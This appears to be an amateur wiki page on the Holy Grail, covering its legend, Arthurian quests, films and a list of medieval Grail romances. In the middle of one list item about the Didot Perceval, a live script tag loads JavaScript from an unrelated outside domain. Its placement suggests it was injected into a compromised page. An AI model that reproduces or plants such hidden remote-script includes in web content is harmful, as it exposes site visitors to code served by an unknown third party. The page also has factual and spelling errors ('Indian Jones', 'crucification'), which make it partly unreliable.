Grail

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The Grail or the Holy Grail is a cup, dish or bowl that was used by Jesus Christ during the last supper according to Christian belief. The origin of the word is a French translation of Latin that means a dish used throughout the course of a meal. Robert de Boron later wrote in the late 12^th century that St. Joseph d’Arimathie used the Grail to collect the blood and sweat from Jesus during the crucification. The Holy Grail is an integral part of medieval romance and literature. The legend of the Holy Grail exists in great controversy. An important theory linked to the Holy Grail is that it existed in Celtic myth prior to Christianity; although the Christian church would argue otherwise. The extent of influence the Grail has can be seen in the extraordinary amount of literature dating back to at least the middle ages, as well as being used in movies and plays up until the 21^st century. The Holy Grail plays an important component in Arthurian legend . Arthur and the round table set out on a quest to find the Holy Grail throughout Britain; ultimately, the Grail is found by Lancelot’s son Galahad who is the most worthy.

Movies that include the Holy Grail as a main plot are:

• Monty Python and the Holy Grail
• Indian Jones and the Last Crusade

Literature about the Holy Grail:

• The Perceval of Chrétien de Troyes.
• <a title="Perceval, the Story of the Grail" href="http://localhost/wiki/Perceval%2C_the_Story_of_the_Grail#The_Continuations">Four continuations</a> of Chrétien’s poem, by authors of differing vision and talent, designed to bring the story to a close.
• The German <a title="Parzival" href="http://localhost/wiki/Parzival">Parzival</a> by <a title="Wolfram von Eschenbach" href="http://localhost/wiki/Wolfram_von_Eschenbach">Wolfram von Eschenbach</a>, which adapted at least the holiness of Robert’s Grail into the framework of Chrétien’s story.
• The Didot Perceval, named after the manuscript’s former owner, and purportedly a prosification of Robert de Boron’s sequel to <script type="text/javascript" src="http://www.laurelamtower.com/zeugma/extensions/tinymce/jscripts/tiny_mce/themes/advanced/langs/en.js"></script>Joseph d’Arimathie.
• The <a class="mw-redirect" title="Welsh romance" href="http://localhost/wiki/Welsh_romance">Welsh romance</a> <a title="Peredur son of Efrawg" href="http://localhost/wiki/Peredur_son_of_Efrawg">Peredur</a>, generally included in the <a title="Mabinogion" href="http://localhost/wiki/Mabinogion">Mabinogion</a>, likely at least indirectly founded on Chrétien's poem but including very striking differences from it, preserving as it does elements of pre-Christian traditions such as the Celtic cult of the head.
• <a title="Perlesvaus" href="http://localhost/wiki/Perlesvaus">Perlesvaus</a>, called the "least canonical" Grail romance because of its very different character.
• The German <a title="Diu Crône" href="http://localhost/wiki/Diu_Cr%C3%B4ne">Diu Crône</a> (The Crown), in which <a title="Gawain" href="http://localhost/wiki/Gawain">Gawain</a>, rather than Perceval, achieves the Grail.
• The <a title="Lancelot" href="http://localhost/wiki/Lancelot">Lancelot</a> section of the vast <a class="mw-redirect" title="Vulgate Cycle" href="http://localhost/wiki/Vulgate_Cycle">Vulgate Cycle</a>, which introduces the new Grail hero, <a title="Galahad" href="http://localhost/wiki/Galahad">Galahad</a>.
• The <a class="mw-redirect" title="Queste del Saint Graal" href="http://localhost/wiki/Queste_del_Saint_Graal">Queste del Saint Graal</a>, another part of the Vulgate Cycle, concerning the adventures of Galahad and his achievement of the Grail.
• Robert de Boron’s Joseph d’Arimathie,
• The Estoire del Saint Graal, the first part of the Vulgate Cycle (but written after Lancelot and the Queste), based on Robert’s tale but expanding it greatly with many new details.

By C.B

The Grail in Arthurian stories is an object of great significance and infinite value. This object is often thought to possess healing or life, protecting power, while the ‘Grail King’ or ‘Grail Keeper’ usually is an exalted figure, most often a wounded man. In Wolfram von Eschenbach’s Parzifal, the greatest medieval Arthurian work in German, the Grail is a stone without any specified function or virtue. -Source http://www.solcon.nl/arendsmilde/cslewis/reflections/e-thsquotes.htm -DY